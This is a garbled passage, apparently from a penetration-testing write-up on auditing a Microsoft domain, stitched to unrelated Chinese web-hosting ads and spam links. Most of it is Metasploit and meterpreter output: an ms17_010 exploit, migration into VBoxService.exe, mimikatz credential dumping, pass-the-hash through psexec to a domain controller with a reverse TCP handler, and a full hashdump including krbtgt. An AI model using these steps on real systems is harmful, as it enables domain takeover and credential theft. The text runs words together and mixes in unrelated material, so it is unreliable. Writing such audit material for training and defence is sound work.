0.
0.
2:445-Servicestarttimedout,OKifrunningacommandornon-serviceexecutable.
.
.
[*]Sendingstage(179779bytes)to10.
0.
0.
2meterpreter>Aswesuccessfullyexploitedthems17_010vulnerabilitywegainedanx86meterpretershellwithSYSTEMprivileges.
Duetousetoolslikemimikatzoursessionarchitecturemustbethesame.
CheckingSystemArchitecture:meterpreter>sysinfoComputer:SQLSERVOS:Windows2012R2(Build9600).
Architecture:x64SystemLanguage:en_USDomain:LABLoggedOnUsers:9Meterpreter:x86/windowsAsweseefromresultofsysinfocommand,systemarchitectureisx64butourmeterpreterisx86.
AuditingMicrosoftDomainEnvironment13AuditingMicrosoftDomainEnvironmentCheckingBackgroundProcceses:meterpreter>psProcessListPIDPPIDNameArchSessionUserPath00[SystemProcess]40Systemx640/*CodeOmitted*/464380services.
exex640472380lsass.
exex640NTAUTHORITY\SYSTEMC:\Windows\System32\lsass.
exe528464svchost.
exex640NTAUTHORITY\SYSTEMC:\Windows\System32\svchost.
exe556464svchost.
exex640NTAUTHORITY\NETWORKSERVICEC:\Windows\System32\svchost.
exe6282484LogonUI.
exex642NTAUTHORITY\SYSTEMC:\Windows\System32\LogonUI.
exe668464VBoxService.
exex640NTAUTHORITY\SYSTEMC:\Windows\System32\/*CodeOmitted*/AuditingMicrosoftDomainEnvironment14AuditingMicrosoftDomainEnvironmentMigratingIntoAProcess:ThingstoConsiderbeforeMigration:1.
Proccesthatwewillmigrateshouldbeatsameprivilegeswithourcurrentprivileges(NTAUTHORITY)2.
Proccessthatwewillmigrateismustbestabiloratleastevenifwemesssomethingitmustbenotcausesystemrestartetc.
Duedomeetthisrequirements,VBOXService.
exeislookslikethebestoptionwehave.
meterpreter>migrate668[*]Migratingfrom3168to668.
.
.
[*]Migrationcompletedsuccessfully.
meterpreter>sysinfoComputer:WIN-G9T7SDV2G4LOS:Windows2012R2(Build9600).
Architecture:x64SystemLanguage:en_USDomain:LABLoggedOnUsers:9Meterpreter:x64/windowsWhat'sNextTobehonest,wedonotneedtogethashesofanyusertogaindomainadminrightfromthispoint.
Wecancheckifthereisanproccessworkingwithdomainadminusersprivileges(thatwefoundearlierwithwindapsearch)andmigratingintothatprocesscouldgiveusdaprivilegesbutduetoshowafewmoretricksletsusemimikatztodumploggedusershashes.
https://github.
com/gentilkiwi/mimikatzAuditingMicrosoftDomainEnvironment15AuditingMicrosoftDomainEnvironmentLoadingMimikatz:meterpreter>loadkiwiLoadingextensionkiwi.
.
.
.
#####.
mimikatz2.
1.
120180925(x64/windows)ALaVie,AL'Amour"BenjaminDELPY`gentilkiwi`(benjamin@gentilkiwi.
com)http://blog.
gentilkiwi.
com/mimikatz'##v##'VincentLETOUX(vincent.
letoux@gmail.
com)http://pingcastle.
com/http://mysmartlogon.
com***/Success.
Gettingpasswordhasheswithmimikatz:meterpreter>creds_all[+]RunningasSYSTEM[*]RetrievingallcredentialsmsvcredentialsUsernameDomainNTLMSHA1DALAB64f12cddaa88057e06a81b54e73b949bcba4e545b7ec918129725154b29f055e4cd5aea8HyaloidLABa738f92b3c08b424ec2d99589a9cce600509c9efe1b0d6ea63697e335434302096859164WIN-G9T7SDV2G4L$LAB6eaab25fb08a7382f7cc1a54d97e80de8c02e734ed99ebdfaec174ffed707cafc4844dfa.
Bingo!
RememberedtheDAuserfromwindapsearchresultsItisandomainadmingroupuser.
AuditingMicrosoftDomainEnvironment16AuditingMicrosoftDomainEnvironmentPassTheHash:Passingthehashisgamechangertrickthatweuseatnearlyeveryinternalaudit.
Ifyouarenewtothistopichereisquick101fromwikipedia:passthehashisahackingtechniquethatallowsanattackertoauthenticatetoaremoteserverorservicebyusingtheunderlyingNTLMorLanManhashofauser'spassword,insteadofrequiringtheassociatedplaintextpasswordasisnormallythecase.
PassTheHashwithPsexec:Duetoperformthisjobs,onlyweneedisNTLMhashofaprivilegeduser.
Thatsexactlywhatwegainedbeforewithmimikatz.
msfexploit(windows/smb/psexec)>setSMBUSERDASMBUSER=>DAmsfexploit(windows/smb/psexec)>setSMBPASS00000000000000000000000000000000:64f12cddaa88057e06a81b54e73b949b//LM:NTLMSMBPASS=>64f12cddaa88057e06a81b54e73b949b:64f12cddaa88057e06a81b54e73b949bmsfexploit(windows/smb/psexec)>setSMBDOMAINLABSMBDOMAIN=>LABmsfexploit(windows/smb/psexec)>setRHOST10.
0.
0.
1//DomainControllerRHOST=>10.
0.
0.
1msfexploit(windows/smb/psexec)>run[*]StartedreverseTCPhandleron10.
0.
0.
5:4444[*]10.
0.
0.
1:445-Connectingtotheserver.
.
.
[*]10.
0.
0.
1:445-Authenticatingto10.
0.
0.
1:445|LABasuser'DA'.
.
.
[*]10.
0.
0.
1:445-SelectingPowerShelltarget[*]10.
0.
0.
1:445-Executingthepayload.
.
.
[+]10.
0.
0.
1:445-Servicestarttimedout,OKifrunningacommandornon-serviceexecutable.
.
.
[*]Sendingstage(179779bytes)to10.
0.
0.
1FurtherReadforPassTheHash:https://www.
sans.
org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283AuditingMicrosoftDomainEnvironment17AuditingMicrosoftDomainEnvironmentDumpEverythingFromDomainController:SincewegotanprivilegedsessionfromDomainControllerwecoulddumpeverythingfromit!
meterpreter>loadkiwiLoadingextensionkiwi.
.
.
c.
#####.
mimikatz2.
1.
120180925(x64/windows)ALaVie,AL'Amour"BenjaminDELPY`gentilkiwi`(benjamin@gentilkiwi.
com)http://blog.
gentilkiwi.
com/mimikatz'##v##'VincentLETOUX(vincent.
letoux@gmail.
com)'#####'>http://pingcastle.
com/http://mysmartlogon.
com***/Success.
meterpreter>getuidServerusername:LAB\DAmeterpreter>getsystem.
.
.
gotsystemviatechnique1(NamedPipeImpersonation(InMemory/Admin)).
meterpreter>hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:eb00cddf33274125bd6081d301c78cbc:::pentest:1105:aad3b435b51404eeaad3b435b51404ee:c4b0e1b10c7ce2c4723b4e2407ef81a2:::DA:1106:aad3b435b51404eeaad3b435b51404ee:7247e8d4387e76996ff3f18a34316fdd:::Hyaloid:1107:aad3b435b51404eeaad3b435b51404ee:a738f92b3c08b424ec2d99589a9cce60:::Siberasist:1108:aad3b435b51404eeaad3b435b51404ee:499108ff7eeea55a4765f1c57665f840:::AuditingMicrosoftDomainEnvironment18AuditingMicrosoftDomainEnvironmentConclusion:Thisisnottheonlyscenariothatwemeetoninternalaudits,therearemanymorescenarioscouldbeperformedaccordingtovulnerabilities,attackvectors,networktopology,operationsystemsetc.
butitisverycommonscenariothatI'vemetinafewpentestsbefore.
Thanksforreading.
AuditingMicrosoftDomainEnvironment19
- sharepointwindowsserver2012相关文档
- Spacewindowsserver2012
- 麒麟windowsserver2012
- x86_64windowsserver2012
- 设备windowsserver2012
- distributedwindowsserver2012
- plannedwindowsserver2012
舍利云30元/月起;美国CERA云服务器,原生ip,低至28元/月起
目前舍利云服务器的主要特色是适合seo和建站,性价比方面非常不错，舍利云的产品以BGP线路速度优质稳定而著称，对于产品的线路和带宽有着极其严格的讲究，这主要表现在其对母鸡的超售有严格的管控，与此同时舍利云也尽心尽力为用户提供完美服务。目前，香港cn2云服务器，5M/10M带宽，价格低至30元/月，可试用1天;;美国cera云服务器,原生ip,低至28元/月起。一、香港CN2云服务器香港CN2精品线...
DiyVM：香港VPS五折月付50元起,2核/2G内存/50G硬盘/2M带宽/CN2线路
diyvm怎么样?diyvm这是一家低调国人VPS主机商，成立于2009年，提供的产品包括VPS主机和独立服务器租用等，数据中心包括香港沙田、美国洛杉矶、日本大阪等，VPS主机基于XEN架构，均为国内直连线路，主机支持异地备份与自定义镜像，可提供内网IP。最近，DiyVM商家对香港机房VPS提供5折优惠码，最低2GB内存起优惠后仅需50元/月。点击进入：diyvm官方网站地址DiyVM香港机房CN...
FlashFXP FTP工具无法连接主机常见原因及解决办法
目前，我们都在用哪个FTP软件？喜欢用的是WinSCP，是一款免费的FTP/SFTP软件。今天在帮助一个网友远程解决问题的时候看到他用的是FlashFXP FTP工具，这个工具以前我也用过，不过正版是需要付费的，但是网上有很多的绿色版本和破解版本。考虑到安全的问题，个人不建议选择破解版。但是这款软件还是比较好用的。今天主要是遇到他的虚拟主机无法通过FTP连接主机，这里我就帮忙看看到底是什么问题。一...
windowsserver2012为你推荐
-
云主机租用我想租用云主机,请问下该如何操作?域名价格什么是域名的商业价值？？虚拟主机购买虚拟主机哪里购买的好？asp主机空间asp空间是什么免费虚拟主机申请求免费可以申请的域名和虚拟主机海外域名怎样注册国外域名？免费网站空间免费网站空间哪个好虚拟主机是什么什么是虚拟主机天津虚拟主机天津哪个是新网互联代理呢，我打算购买邮局？虚拟主机排名换一台虚拟主机会影响排名吗？